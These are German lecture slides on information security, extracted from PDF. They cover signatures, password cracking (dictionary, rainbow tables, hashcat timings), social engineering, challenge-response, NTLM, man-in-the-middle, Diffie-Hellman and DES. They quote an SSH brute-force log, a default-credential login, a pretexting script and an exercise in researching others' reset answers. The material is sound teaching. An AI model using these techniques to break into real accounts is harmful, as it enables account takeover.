I Wenn signiertes Dokument nur einmal genutzt werden darf(Scheck, Gutschein, . . . ) muss Mehrfachverwendungunterbunden werden

I Lösung: Datum und Zeit der Unterschrift an Dokumentanhängen, gemeinsam unterschreiben

43 / 108

Mehrfachsignatur

Problem: Alice und Bob wollen beide ein- und dasselbeDokument signieren (z. B. einen Vertrag)

Möglichkeiten:a) Alice und Bob unterschreiben verschiedene Kopien des

Dokuments (unhandlich)b) Erst unterzeichnet Alice, dann unterzeichnet Bob das von

Alice unterzeichnete Dokument. (→ Signaturprüfung vonAlice muss immer erst Signaturprüfung von Bobvorangehen - unelegant)

c) Alice und Bob unterschreiben separat den Hashwert desDokuments (→ Unterschriften einzeln prüfbar)

44 / 108

Digitale Signaturen mit Verschlüsselung

Kombination von Signierung und Verschlüsselung:

1. Alice unterschreibt ihre Nachricht M mit ihrem privatenSchlüssel: SA(M) mit SA = DKA

2. Alice verschlüsselt die unterzeichnete Nachricht mit Bobsöffentlichem Schlüssel: C = EKB(SA(M))

3. Alice schickt C an Bob4. Bob entschlüsselt C mit seinem privaten Schlüssel

DKB : DKB(EKB(SA(M)))

5. Bob prüft die Gültigkeit mit Alice’ öffentlichen Schlüsselund erhält die Klartextnachricht:VA(DKB(EKB(SA(M)))) = M mit VA = EKA

45 / 108

Anmerkungen

Günstig, vor der Verschlüsselung zu signieren:I Unterschrift kann nicht durch einen Gegner entfernt

werden.I Man sieht, was man unterschreibt!I Keine kryptanalytischen Angriffe möglich.

Es können für Signierung und Verschlüsselungunterschiedliche Schlüsselpaare verwendet werden.

46 / 108

20

Erneutes Senden als Empfangsbestätigung

1. Alice unterschreibt M mit ihrem privaten Schlüssel,verschlüsselt anschließend mit Bobs öffentlichemSchlüssel und sendet das Chiffrat an Bob:C = EKB(SA(M))

2. Bob entschlüsselt mit seinem privaten Schlüssel, überprüftAlice’ Signatur mit deren öffentlichen Schlüssel und stelltM damit wieder her: VA(DKB(EKB(SA(M)))) = M.

3. Bob unterschreibt seinerseits M mit seinem privatenSchlüssel SB, chiffriert anschließend mit Alice’ öffentlichenSchlüssel und schickt die Nachricht alsEmpfangsbestätigung zurück: C2 = EKA(SB(M))

4. Alice entschlüsselt mit Ihrem privaten Schlüssel und prüftwiederum Bobs Signatur mit seinem öffentlichenSchlüssel. Stimmt die entschlüsselte mit derursprünglichen Nachricht überein, weiß sie, dass Bob dieNachricht erhalten hat.

47 / 108

Erneutes Senden als EmpfangsbestätigungRücksendeangriff

Protokoll ist unsicher, wenn für Verschlüsselung und Signierungder gleiche Algorithmus eingesetzt wird (Vx = Ex ,Sx = Dx )!

1. Alice signiert und verschlüsselt (wie gehabt):

C = EKB(DKA(M))

2. Mallory zeichnet C auf, sendet sie (etwas später) an Bobund behauptet, C sei von ihm.

3. Bob dechiffriert die Nachricht mit seinem privatenSchlüssel und versucht anschließend, mit Mallorysöffentlichem Schlüssel die (von Alice stammende)Unterschrift zu prüfen.

EKM (DKB(EKB(DKA(M)))) = EKM (DKA(M))

48 / 108

Erneutes Senden als EmpfangsbestätigungRücksendeangriff und dessen Abwehr

4. Obwohl die Unterschrift nicht verifiziert werden kann,schickt Bob (automatisiert?) gemäß dem Protokoll eineEmpfangsbestätigung an Mallory

C2 = EKM (DKB(EKM (DKA(M))))

5. Mallory muß nun:I mit seinem privaten Schlüssel DKM entschlüsselnI mit Bobs öffentlichen Schlüssel EKB entschlüsselnI erneut mit seinem privaten Schlüssel entschlüsselnI mit Alice’ öffentlichen Schlüssel EKA entschlüsseln

. . . und schon kann er M lesen!

Lehre:

Verschiedene Schlüssel oder verschiedene Algorithmen fürSignierung und Verschlüsselung einsetzen! Nicht automatischbestätigen und signieren!

49 / 108

Authentifizierung (oder Authentifikation)

2 Rollen:I Partei, die Identität nachweisen will (Beweisender,

„Prover“)I Partei, die Identität prüfen will (Verifizierender, „Verifier“)

Unterscheidung vonI einseitiger Authentifikation (z. B. gegenüber Rechner) undI gegenseitiger Authentifikation.

Nutzung vonI charakteristischen EigenschaftenI BesitzI Wissen

50 / 108

Authentifizierung mittels PasswortNaive Implementierung

Alice

P0

P = P0 Zugang gewährt

{A,P}gespeichertesPasswort

Anmerkungen:I Passwort muss erzeugt/vergeben werdenI Identität A muss mit übermittelt werdenI Abspeicherung des Passwortes P0 im Klartext

51 / 108

Authentifizierung mittels PasswortNutzung einer kryptografischen Hashfunktion

Alice{A,P}

gespeicherterPassworthash

h(P) = h(P0) Zugang gewährt

h(P0)

Anmerkungen:I Passwort nicht mehr im Klartext abgelegt→ kann nicht

gestohlen werden!I Problem: schlechte Passworte

52 / 108

21

Mögliche Angriffe auf den Vorgang derAuthentifizierung

I Ausspähen des PasswortesI Social EngineeringI Erraten des PasswortesI WörterbuchangriffI Brute Force

53 / 108

Social Engineering

„Hallo, ich bin der freundliche Mann vomRechenzentrum. Ich möchte die Virensoftware aufIhrem Rechner aktualisieren und benötige dazu IhrNutzerkennzeichen und Passwort.“

Verwandte Themen:I „Dumpster Diving“ – Auswertung von Papierkörben,

AbfallbehälternI „Tailgating“ – einer berechtigten Person in sensitive

Bereiche folgenI „Shoulder Surfing“ – Ablesen/Abfilmen von Passworten bei

der EingabeJohnny Long: No Tech Hacking: A Guide to Social Engineering,Dumpster Diving and Shoulder Surfing. Syngress, 2008

54 / 108

Erraten des Passwortes

Ein legendärer Einbruch im Lawrence Berkeley NationalLaboratory, Kalifornien:

LBL> telnet elxsiElxsi at LBLlogin: rootpassword: rootincorrect passwort, try againlogin: guestpassword: guestincorrect passwort, try againlogin: uucppassword: uucpWELCOME TO THE ELXSI COMPUTER AT LBL

(Clifford Stoll: Kuckucksei. Fischer, 1991)I bei gut gewarteten Systemen heute nahezu aussichtslos

55 / 108

Automatisiertes Erraten des PasswortesLinux-PC, Authentifizierungs-Logfile /var/log/auth.log, Ausschnitt

Apr 5 14:44:35 idir sshd[14612]: Failed password for invalid user admin from 93.99.106.4 port 40799 ssh2

Apr 5 14:44:39 idir sshd[14620]: Failed password for root from 93.99.106.4 port 42116 ssh2

Apr 5 14:44:43 idir sshd[14630]: Failed password for root from 93.99.106.4 port 43885 ssh2

Apr 5 14:44:44 idir sshd[14640]: Invalid user test from 93.99.106.4

Apr 5 14:44:46 idir sshd[14640]: Failed password for invalid user test from 93.99.106.4 port 45676 ssh2

Apr 5 14:44:47 idir sshd[14648]: Invalid user test from 93.99.106.4

Apr 5 14:44:49 idir sshd[14648]: Failed password for invalid user test from 93.99.106.4 port 47395 ssh2

Apr 5 14:44:51 idir sshd[14656]: Invalid user webmaster from 93.99.106.4

Apr 5 14:44:53 idir sshd[14656]: Failed password for invalid user webmaster from 93.99.106.4 port 48814 ssh2

Apr 5 14:44:54 idir sshd[14666]: Invalid user user from 93.99.106.4

Apr 5 14:44:56 idir sshd[14666]: Failed password for invalid user user from 93.99.106.4 port 50581 ssh2

Apr 5 14:44:58 idir sshd[14674]: Invalid user username from 93.99.106.4

Apr 5 14:45:00 idir sshd[14674]: Failed password for invalid user username from 93.99.106.4 port 51972 ssh2

Apr 5 14:45:01 idir sshd[14684]: Invalid user username from 93.99.106.4

Apr 5 14:45:03 idir sshd[14684]: Failed password for invalid user username from 93.99.106.4 port 53530 ssh2

Apr 5 14:45:05 idir sshd[14692]: Invalid user user from 93.99.106.4

Apr 5 14:45:07 idir sshd[14692]: Failed password for invalid user user from 93.99.106.4 port 55065 ssh2

Apr 5 14:45:10 idir sshd[14702]: Failed password for root from 93.99.106.4 port 56829 ssh2

Apr 5 14:45:11 idir sshd[14710]: Invalid user admin from 93.99.106.4

Apr 5 14:45:13 idir sshd[14710]: Failed password for invalid user admin from 93.99.106.4 port 60192 ssh2

Apr 5 14:45:15 idir sshd[14718]: Invalid user test from 93.99.106.4

Apr 5 14:45:17 idir sshd[14718]: Failed password for invalid user test from 93.99.106.4 port 33440 ssh2

Apr 5 14:45:21 idir sshd[14728]: Failed password for root from 93.99.106.4 port 35208 ssh2

Apr 5 14:45:24 idir sshd[14736]: Failed password for root from 93.99.106.4 port 36679 ssh2

Apr 5 14:45:27 idir sshd[14746]: Failed password for root from 93.99.106.4 port 38334 ssh2

Apr 5 14:45:31 idir sshd[14754]: Failed password for root from 93.99.106.4 port 39667 ssh2

Apr 5 14:45:32 idir sshd[14762]: Invalid user danny from 93.99.106.4

Apr 5 14:45:34 idir sshd[14762]: Failed password for invalid user danny from 93.99.106.4 port 41516 ssh2

Apr 5 14:45:35 idir sshd[14770]: Invalid user sharon from 93.99.106.4

Apr 5 14:45:37 idir sshd[14770]: Failed password for invalid user sharon from 93.99.106.4 port 42957 ssh2

Apr 5 14:45:39 idir sshd[14780]: Invalid user aron from 93.99.106.4

56 / 108

Wörterbuchangriff (Dictionary Attack)

Idee:I Offline-Generierung einer Liste aus Einträgen mit

I potentielles PasswortI potentielles Passwort, verschlüsselt

I alle möglichen Worte, Namen, Bezeichner usw. mittels derEinwegfunktion des Betriebssystems verschlüsseln

I Diebstahl der PasswortdateiI Vergleich der verschlüsselten Wortliste mit den Hashes

aus der PasswortdateiI Bei Übereinstimmung ist das unverschlüsselte Passwort

der entsprechende Eintrag aus der Wortliste→Werkzeug john (Praktikum)

57 / 108

Erschwerung des Wörterbuchangriffes mittels Salz

I Passwort wird vor Verschlüsselung mit einer Zufallszahlkonkateniert (dem Salz)

I Salz wird mit in der (geheimen) Passwortdatei gespeichertI bei genügend großer Anzahl möglicher Hash-Werte wird

ein Wörterbuchangriff unmöglichI Mallory müßte zu jedem Wort alle möglichen Salz-Werte

durchprobierenI erschwert nur Wörterbuchangriff, kein Brute-Force-Attack

Beispiel: crypt() im POSIX

58 / 108

22

Weitere Gegenmaßnahmen gegen Wörterbuchangriff

I möglichst keine Hinweise auf Länge des PW (’*’ u. ä.) inder Eingabemaske

I möglichst kein Hinweis, ob NKZ gültigI Verzögerung nach jedem erfolglosen AnmeldeversuchI periodisches Erneuern der Passworte:

+ gecrackte PW werden automatisch ausgetauscht− Nutzer müssen periodisch neue PW lernen

59 / 108

Anforderungen an gute Passworte

I möglichst langI gesamten Zeichenvorrat nutzen (sonst resultiert eine

signifikante Verkleinerung des Schlüsselraums→Brute-Force-Angriff vereinfacht)

I keine Namen, Worte (auch nicht rückwärts)I regelmäßig wechselnI computergenerierte Passworte: geringe Akzeptanz

(werden aufgeschrieben)→ Standard FIPS PUB 181(http://www.itl.nist.gov/fipspubs/fip181.htm)

I proaktive PW-Checker prüfen gewähltes PW aufMindestanforderungen

60 / 108

Suchdauer vs. Größe des Schlüsselraums

Werte 4 Byte 5 Byte 6 Byte 7 Byte 8 Byte

Kleinbuchstaben 26 456976 1.1 · 107 3.1 · 108 8.0 · 109 2.1 · 1011

Kleinbuchst.+Ziffern 36 1679616 6.0 · 107 2.1 · 109 7.8 · 1010 2.8 · 1012

alphanum. Zeichen 62 1.5 · 106 9.2 · 108 5.7 · 1010 3.6 · 1012 2.1 · 1014

druckbare Zeichen 95 8.1 · 107 7.7 · 109 7.4 · 1011 6.9 · 1013 6.6 · 1015

ASCII-Zeichen 128 2.7 · 108 3.4 · 1010 4.4 · 1012 5.6 · 1014 7.2 · 1016

8-Bit-Zeichen 256 4.3 · 109 1.1 · 1012 2.8 · 1014 7.2 · 1016 1.8 · 1019

I zugrundegelegt sei eine Geschwindigkeit8 von 200 GH·s−1

(MD5, mittels hashcat)

I Rechner: Sagitta Brutalis, 8xNvidia GTX 1080 GPU, ca. $21.169(Q1/2018)

I benötigt knapp 6 Minuten, um 7 Byte langes PW ausalphanumerischen Zeichen zu ermitteln, jedoch 48.5 Tage, wennPW 10 Zeichen umfasst

I vgl. xkcd-Comic: https://xkcd.com/936/

8Quelle: https://gist.github.com/epixoip/a83d38f412b4737e99bbef804a270c4061 / 108

Professionelle Knack-Hardware

a) „Deep Crack“I 1998, 250.000 US-$, EFF9

I 1536 KryptoprozessorenI 88 Milliarden DES-Schlüssel pro Sekunde

b) COPACOBANAI 2006, 10.000 US-$, Unis Bochum und KielI 120 XILINX Spartan3-1000 FPGAI 65 Milliarden DES-Schlüssel pro Sekunde

c) distributed.netI verteiltes Rechnen; Nutzbarmachung von idle-Time auf

Internet-Hosts

d) es ist davon auszugehen, dass Geheimdiensten weitteurere Systeme zur Verfügung stehen

9Electronic Frontier Foundation, eine Nichtregierungsorganisation der Vereinigten Staaten62 / 108

RegenbogentabellenMotivation

Brute-Force-Angriff auf ein Passwort:I sehr viel Rechenzeit, kaum Speicher

WörterbuchangriffI sehr viel Speicherplatz, kaum Rechenzeit

Idee: kompaktere Datenstruktur als Wörterbuch, dafürgrößerer, aber vertretbarer Suchaufwand(„Time-Memory-Tradeoff“)

Voraussetzungen:I Hashfunktion H (bildet Passworte auf Hashes ab)I Reduktionsfunktion R, bildet Hashes auf (potentielle)

Passworte ab (keine Inverse von H!)Beispiel für R für ZK der Länge n Bit:ZK = (Bit 63. . . 0 des Hashes + Position in Tabelle) mod 2n

63 / 108

RegenbogentabellenErmittlung

I beginnend mit einem Element des Schlüsselraums (potentiellesPasswort) Nacheinanderausführung von H und R

I es entstehen Ketten von Passworten und Hashes (ca. 10.000Elemente lang)

I nur das erste und letzte Passwort jeder Kette wird gespeichert;diese bilden die Regenbogentabelle

I es werden so viele Ketten gebildet, bis 99.9% aller möglichenPassworte erfasst sind

I Tabelle wird nach den jeweils letzten Passworten sortiert

64 / 108

23

Regenbogentabellen

armel 0xbf1ffd. . . bmgfs 0x21cd0e. . . ybtos 0xa8a258. . . lfslf

xqjkx 0x365023. . . xphkp 0x432045. . . jbprb 0xa31303. . . imest

wurtl 0xadb661. . . dvniw 0xfdb21b. . . jglkw 0x072195. . . qkmbr

H R H R H R

H R H R H R

H R H R H R

65 / 108

RegenbogentabellenKnacken eines Hashes (Finden des zugehörigen Passwortes)

1. Hash wird alternierend der Reduktions- und derHashfunktion unterworfen, bis er ein Passwort generiert,das in der zweiten Spalte der Regenbogentabellevorkommt.

2. Dann wird die zugehörige Anfangszeichenkette reduziertund gehasht, bis der Eingangshash wieder erzeugt wurde.

3. Das Resultat der vorgangegangenen Reduktionsfunktionist das gesuchte Passwort.

66 / 108

bcrypt

Problem: Zur Authentifizierung genutzte Hashingverfahren(MD5, Blowfish, SHA) wurden entwickelt, um effizientberechnet zu werden.→ gut für Brute-Force-Angriff!

Idee: spezielles Hashverfahren, das besonders langsamarbeitet, um Brute-Force-Angriff zu verlangsamen.

Lösung:I bcrypt10

I 128 Bit SalzI konfigurierbare Iterationsanzahl (→

Berechnungsgeschwindigkeit adaptierbar)

10Niels Provos und David Mazières. “A Future-Adaptable Password Scheme”. In: Proceedings of the 1999USENIX Annual Technical Conference, FREENIX Track. 1999, S. 81–91.

67 / 108

Exkurs: “Forgot your Password?”

I viele (webbasierte) Dienste erfordern Authentifizierung(Webmail, . . . )

I im Falle eines verlorenen Passwortes wird eine‘persönliche’ Frage vereinbart, deren korrekteBeantwortung das Passwort zurücksetzt oder demEigentümer per Mail zustellt

I Beispiele:I “What is your mother’s maiden name?”I “What is your dog’s name?”

I Diese Informationen sind insbesondere bei Prominentenbzw. Netizens leicht recherchierbar!

Literatur: Herbert H. Thompson: How I Stole Someone’sIdentity. Scientific American, August, 2008http://www.sciam.com/article.cfm?id=anatomy-of-a-social-hack

68 / 108

Exkurs: “Forgot your Password?”Beispiel: Sarah Palin

I Yahoo-Account von Vizepräsidentschaftskandidatin SarahPalin

I Passwort wurde durch Unbekannte zurückgesetzt(09/2008)

I ‘Sicherheits’fragen:I ZIP codeI date of birthI “Where did you meet your husband?”→ auf der Webseite

steht, dass sie ihren Mann seit Highschool-Zeiten kenntund welche Highschool sie besuchte

I Recherche dauerte ca. 45 Minuten

Quelle: http://www.itworld.com/security/55185/sarah-palin-goes-way-paris-hilton

69 / 108

Rätsel

Welche der folgenden Fragen taugen nicht für das Rücksetzeneines Passwortes? Können sie die folgenden Fragen für einefremde Person (z. B. mich) mit wenig Aufwand recherchieren?Welche Ansätze für Recherchen gibt es?

1. What is my mother’s maiden name?2. What was the brand of my first car?3. What is the name of my best friend?4. In which city did I grow up?5. What was the lastname of my kindergarden teacher?6. What is my favourite movie?7. What is my dog’s name?

70 / 108

24

Challenge-Response-Verfahrenoder: „Wer über die Brücke des Todes will gehen, der muß drei mal Rede und Antwort stehen. Dann darf er die andere Seitesehen.“

= Authentifizierung auf der Basis gemeinsamen Wissens1. Server stellt eine Aufgabe (Challenge))2. Nutzer (bzw. ein Stellvertreterprozeß) löst die Aufgabe

(antwortet; Response)3. Lösung korrekt→ Login erlaubt

Beispiel: Kopierschutz in alten Computerspielen.I Zu Beginn Frage, etwa: “Was steht im Handbuch auf

S.412, dritte Zeile, 2. Wort?”I richtiger Begriff→ Spiel startetI falscher Begriff→ Abbruch

71 / 108

Challenge-Response zur Authentifizierung

Ablauf:1. Alice schickt Bob (dem Host) ihr Nutzerkennzeichen2. Bob sendet eine Zufallszahl („Nonce“ - (random) number,

used once) an Alice ≡ Challenge3. Alice verschlüsselt die Nonce mit dem Hash ihres

Passworts und schickt das Chiffrat an Bob ≡ Response4. Bob verschlüsselt die Nonce ebenfalls mit Alice’

Passwort-Hash5. ist das Chiffrat gleich der Antwort von Alice, so wird

Zugang gewährt

72 / 108

Beispiel: Authentifizierung in Windows

I Authentifizierungsprotokoll NTLM - NT Lan Manager

I Nachfolger des (unsicheren) LM-Authentifizierungsverfahrens

I ursprünglich proprietär, daher reverse-engineered

I mittlerweile durch Microsoft offengelegt

Grobablauf:

1. Client (Nutzer) schickt das NKZ mittels sog. Type-1-Nachricht anden Server

2. Server (Host) antwortet mit einer Type-2-Nachricht, die u. a. eine8 Byte lange Nonce enthält

3. Client verschlüsselt die Nonce mit dem Hash seines Passwortesals Schlüssel, schickt Chiffrat als Type-3-Nachricht an Server

4. Server verschlüsselt ebenfalls Nonce mit Passworthash undgewährt bei Identität beider Chiffrate Zugang zum System

Literatur: http://davenport.sourceforge.net/ntlm.html73 / 108

Sicherheit von NTLM

Stellen Zeichenraum Dauer6 A-Za-z0-9 1 min6 A-Za-z0-9, 22 SZ 6 min8 A-Za-z0-9 2 d, 17 h8 A-Za-z0-9, 22 SZ 33 d8 A-Za-z0-9, alle SZ 82 d

11 A-Za-z 270 a

Tabelle: Maximale Dauer der Ermittlung von NTLM-Passwortenmittels „Distributed Password Recovery“ (ElcomSoft)

I 22 SZ = typische Sonderzeichen, d.h._@#$&+-=%*"~!?.,:;()<>

I genutztes System: AMD Athlon X2 4850e, 2 NvidiaGeForce 9800 GTX

Quelle: Stefan Arbeiter, Matthias Deeg: Bunte Rechenknechte.In: c’t 06/2009, S. 205

74 / 108

Authentifizierung mit physischen Objekten

I SchlüsselI Chipkarten

I passiv – “Stored Value Cards”, z.B. TelefonkartenI aktiv – “Smart Cards”, ausgerüstet mit 8-Bit-CPU, Scratch

RAM, ROM, EEPROM

Sm

art

Card

1. Challenge an Smart Card

2. Smart Card errechnet Antwort

3. Response an Server

ServerPC

Abbildung: Nutzung einer Smartcard zur Authentifizierung

75 / 108

Smartcards

I Smartcards können aktualisiert werden, z.B. bei Bruch desverwendeten Kryptografie-Verfahrens

I Problem: Verlust, DiebstahlI Power Analysis Attack, um Key zu ermittelnI Diebstahl eröffnet neue Angriffsvektoren; Tamper

Resistance nötig

76 / 108

25

Authentifizierung mittels biometrischer Merkmale

Idee: Erkennung/Authentikation einer Person anhandindividueller physischer Merkmale.

I Gesichtsmerkmale (z. B. bei direkterMensch-Mensch-Authentikation)

I Fingerabdrücke (wahrscheinlich einzigartig innerhalb dergesamten Bevölkerung)

I Geometrie der Hand (Form, Länge, Dicke der Finger)I Blutgefäße der Retina (ebenfalls einzigartig)I UnterschriftI Sprache

Probleme: False-Match, False-Nonmatch

77 / 108

Authentifizierung mit Public-Key-Kryptografie

Alternative: Public-Key-Kryptografie

1. Host sendet Alice einen Zufallsstring Z2. Alice chiffriert Z mit ihrem privaten Schlüssel und schickt

das Chiffrat mit ihrem Namen an den Host3. Host ruft Alice’ öffentlichen Schlüssel aus seiner

Datenbank und dechiffriert Nachricht4. Stimmt Dechiffrat mit ursprünglichen String Z überein, so

erhält Alice Zugang zum System

78 / 108

Protokolle zum SchlüsselaustauschÜberblick

I Austausch mittels symmetrischer KryptografieI Austausch mittels Public-Key-KryptografieI Beispiel: Diffie-Hellman-Protokoll

79 / 108

Schlüsselaustausch mit symmetrischer Kryptografie

Voraussetzungen: Vertrauenswürdige Instanz (Key DistributionCenter - KDC, aka Trent), sowohl Alice als auch Bob besitzenSchlüssel zur Kommunikation mit Trent

Protokoll:I Alice bittet Trent um Generierung eines Sitzungsschlüssels

zur Kommunikation mit BobI Trent generiert zufälligen Sitzungsschlüssel, generiert 2

Kopien, verschlüsselt eine mit Alice’ und eine mit BobsSchlüssel

I Trent schickt beide (verschlüsselte) Kopien an AliceI Alice dechiffriert ihre Kopie des SitzungsschlüsselsI Alice schickt Bob dessen (verschlüsselte) KopieI Bob dechiffriert seine Kopie des SitzungsschlüsselsI Alice und Bob kommunizieren mittels des

Sitzungsschlüssels80 / 108

Schlüsselaustausch mittels Public-Key-Kryptografie

. . . wie bereits unter „hybride Kryptosysteme“ diskutiert:

1. Alice bezieht Bobs öffentlichen Schlüssel aus dem KDC2. Alice generiert einen zufälligen Sitzungsschlüssel und

verschlüsselt diesen mit Bobs öffentlichem Schlüssel3. Alice sendet das Chiffrat an Bob4. Bob dechiffriert die empfangene Nachricht mit seinem

privaten Schlüssel5. Beide kommunizieren mit Hilfe des Sitzungsschlüssels

81 / 108

Man-in-the-Middle-AttackAblauf

1. Alice sendet Bob ihren öffentlichen Schlüssel2. Mallory fängt diesen Schlüssel ab und schickt stattdessen

seinen eigenen öffentlichen Schlüssel an Bob3. Bob sendet seinen öffentlichen Schlüssel an Alice4. Mallory fängt auch diesen ab und schickt stattdessen

seinen öffentlichen Schlüssel an Alice5. Sendet Alice eine mit Bobs11 öffentlichem Schlüssel

verschlüsselte Nachricht an Bob, fängt Mallory diese abundI entschlüsselt sie mit seinem privaten Schlüssel,I liest sie,I chiffriert sie mit Bobs öffentlichem Schlüssel undI schickt sie weiter an Bob.

I Analog geht Mallory in der Rückrichtung (Bob→ Alice) vorI Weder Alice noch Bob können diesen Angriff entdecken

11d. h. , Mallorys82 / 108

26

Das Interlock-Protokoll (Rivest/Shamir, 1984). . . erschwert oder vereitelt den Man-in-the-Middle-Attack

1. Alice sendet Bob ihren öffentlichen Schlüssel KA.2. Bob sendet Alice seinen öffentlichen Schlüssel KB.3. Alice chiffriert ihre Nachricht M1 mit KB und schickt die

Hälfte der verschlüsselten Nachricht an Bob.4. Bob chiffriert seine Nachricht M2 mit KA und schickt die

Hälfte der verschlüsselten Nachricht an Alice.5. Alice schickt die zweite Hälfte an Bob.6. Bob fügt beide Hälften zusammen und dechiffriert. Danach

schickt er Alice seine zweite Hälfte.7. Alice setzt Bobs zweite Nachricht zusammen und

dechriffriert.

83 / 108

Analyse des Interlock-Protokolls

I Mallory kann nicht dechiffrieren, weil er nur eine halbeNachricht hat

I er muss aber mit seinem privaten Schlüssel dechiffrieren,um anschließend mit Bobs öffentlichem Schlüssel zuchiffrieren

I er muss eine andere Nachricht erfinden, und die Hälftedavon an Bob schicken (und zurück an Alice)

Wenn Alice und Bob ihre Nachrichten vorher absprechen12,können sie mit dem Interlock-Protokoll die Authentizität ihrerjeweiligen öffentlichen Schlüssel prüfen und Mallory entlarven.

12Dafür ist aber ein sicherer Kanal notwendig.84 / 108

Schlüsselaustausch mit digitaler Signatur

Idee:I Trent signiert die öffentlichen Schlüssel von Bob und AliceI Beim Schlüsselerhalt prüfen Alice und Bob Trents SignaturI → Mallory kann nicht mehr in deren jeweilige Rolle

schlüpfen!

85 / 108

Schlüsselaustausch mittels Diffie-Hellman-Protokoll

1. Bob und Alice einigen sich auf eine große Primzahl n undeine Zahl g.

2. Alice wählt eine (große) zufällige Zahl x (Alice’ geheimerSchlüssel) und berechnet X = gx mod n (Alice’ öffentlicherSchlüssel).

3. Alice sendet X an Bob.4. Bob wählt eine (große) zufällige Zahl y (Bobs geheimer

Schlüssel) und berechnet Y = gy mod n (Bobs öffentlicherSchlüssel).

5. Bob sendet Y an Alice.6. Alice berechnet

k = Y x mod n = (gy mod n)x mod n = gxy mod n, dengeheimen Sitzungsschlüssel.

7. Bob berechnetk = X y mod n = (gx mod n)y mod n = gxy mod n.

86 / 108

Anmerkungen zum Diffie-Hellman-Protokoll

I g muss primitiv modulo n sein, d.h. es muss stets ein ageben, so dass ga ≡ b mod n ∀ 1 ≤ b < n.

I Eve kann X und Y abfangen, es nützt ihr aber nichts, siekann gxy mod n nicht aus gx mod n und gy mod nberechnen.

Beispiel:

Alice Bobg = 4, n = 11x = 3 y = 4

X = 43 mod 11 = 9 Y = 44 mod 11 = 3X = 9→ B A← Y = 3

k = Y x mod n k = X y mod n= 33 mod 11 = 5 = 94 mod 11 = 5

87 / 108

Vorlesung InformationssicherheitThema 4: Algorithmen der Kryptographie

Robert Baumgartl

18. Juli 2018

1 / 126

27

Überblick

I Data Encryption Standard (DES)I Triple DESI Advanced Encryption Standard (AES)I RSAI DSAI Zero-Knowledge

2 / 126

Symmetrische Verschlüsselung mittels DataEncryption Standard (DES)

I Ergebnis eines durch das National Bureau of Standardsausgeschriebenen Wettbewerbs

I von IBM im Jahre 1974 erstmalig beschriebenI Prüfung/Mitentwicklung durch NSAI Standard ANSI X3.92, 1981I Prüfung alle 5 Jahre, ob Standard noch den Erfordernissen

eines Kryptosystems entspricht (→ 1987, 1993re-zertifiziert)

I Schlüssellänge: 56 BitI blockbasiertes Verfahren: 64 Bit Klartext⇒ 64 Bit ChiffratI erstes erfolgreiches Verschlüsselungsverfahren für

Rechnereinsatz; Grundlage für alle modernen Verfahren

(Literatur: Reinhard Wobst: Abenteuer Kryptologie. Addison-Wesley, S. 126ff.)

3 / 126

DESÜberblick

K2

L2 = R1 R2 = L1 ⊕ f (R1,K2)

usw.

L0 R0

K1

R1 = L0 ⊕ f (R0,K1)L1 = R0

L15 = R14 R15 = L14 ⊕ f (R14,K15)

K16

00 3131

permutationAusgangs-

L16 = R15R16 = L15 ⊕ f (R15,K16)

Klartext063

Eingangs-permutation

063

Chiffrat

f

f

f

Komponenten:I Eingangspermutation (IP)I Zerlegung in rechte (R)

und linke (L) HälfteI 16 identische Runden, die

Daten mit Schlüsselkombinieren (Funktion f )

I Zusammenfügen von Rund L

I Schlusspermutation (IP−1)

4 / 126

DESEingangspermutation

58 50 42 34 26 18 10 2 60 52 44 36 28 20 12 462 54 46 38 30 22 14 6 64 56 48 40 32 24 16 857 49 41 33 25 17 9 1 59 51 43 35 27 19 11 361 53 45 37 29 21 13 5 63 55 47 39 31 23 15 7

Tabelle: Eingangspermutation

Lies: „Bit 58 des Klartextes wird auf Bit 1 der Permutationabgebildet, Bit 50 des Klartextes auf Bit 2 der Permutation usw.“

5 / 126

DESAnmerkungen zum Algorithmus

I Schlüssel ist eigentlich auch 64bittig, 8 Bit dienen jedochder Paritätsprüfung (jedes Byte muss ungerade Paritäthaben)

I für jede der 16 Runden wird aus dem 56-Bit-Schlüssel Kein Subschlüssel Ki mit 48 Bit Länge generiert

I Struktur des DES-Algorithmus ist ziemlich regulär; eine sogenannte Feistel-Chiffre (→ nächste Folie)

I Entschlüsselung in umgekehrter Reihenfolge der 16Runden

I sehr leicht in Hardware zu synthetisieren (keineAdditionen/Multiplikationen, nur Verschiebungen,Permutationen und XOR)

6 / 126

DESFeistel-Chiffre

f

Li Ri

Li+1 Ri+1

XORRunden-schlüssel

Ausgangsdatenblock Runde i

Eingangsdatenblock Runde i

Ki+1

fi(Ri ,Ki+1)

I Funktionsblock vieler symmetrischer Verfahren

Verschlüsselung:

Li+1 = Ri

Ri+1 = Li ⊕ f (Ri , Ki+1)

Entschlüsselung daraus ableitbar:

Ri = Li+1

Li = Li ⊕ f (Ri , Ki+1)︸ ︷︷ ︸⊕f (Ri , Ki+1)

= Ri+1 ⊕ f (Ri , Ki+1)

I keine Umkehrfunktion f−1(R, K ) nötig

I Ver- und Entschlüsselung mit gleicher Funktionf (R, K )

7 / 126

28

Struktur einer Runde (f (Ri−1,Ki))

P

8·6 Bit

6 Bit

4 Bit

S1 S2 S3 S4 S5 S6 S7 S8

8·4 Bit

48 Bit

32 Bit

32 Bit

S-Boxen

E

32 Bit

KiRi−1

48 Bit

Permutation

Substitution

Expansion

48 Bit

8 / 126

S-Boxen (Substitution Boxen)

I zentraler Bestandteil jedes symmetrischenKrypografie-Verfahrens

I nichtlineare Substitution; m Eingangs- werden auf nAusgangsbits abgebildet

I S-Boxen in DES sind „mythenumrankt“, da Prinzipien ihresEntwurfs nicht offengelegt wurden

Mittlere 4 Bits (b1 . . . b5) des Eingabewertesb0 b6 0000 0001 0010 0011 0100 0101 0110 0111 1000 1001 1010 1011 1100 1101 1110 11110 0 0010 1100 0100 0001 0111 1010 1011 0110 1000 0101 0011 1111 1101 0000 1110 10010 1 1110 1011 0010 1100 0100 0111 1101 0001 0101 0000 1111 1100 0011 1001 1000 01101 0 0100 0010 0001 1011 1100 1101 0111 1000 1111 1001 1100 0101 0110 0011 0000 11101 1 1011 1000 1100 0111 0001 1110 0010 1101 0110 1111 0000 1001 1100 0100 0101 0011

Tabelle: Beispiel: S-Box 5 für DES (es gibt 8 verschiedene)

9 / 126

Zur Sicherheit von DES

I bislang kein kryptanalytischer Angriff publiziertI (unbewiesener) Verdacht, NSA könnte eine Hintertür

eingebaut haben

Hauptmanko: Schlüssellänge von 56 Bit ist zu kurzI →Wettbewerb DES Challenge („Wer schafft es als erster,

zu einem vorgegebenen DES-Schlüssel die zugehörigePassphrase per Brute-Force-Angriff zu ermitteln?“)

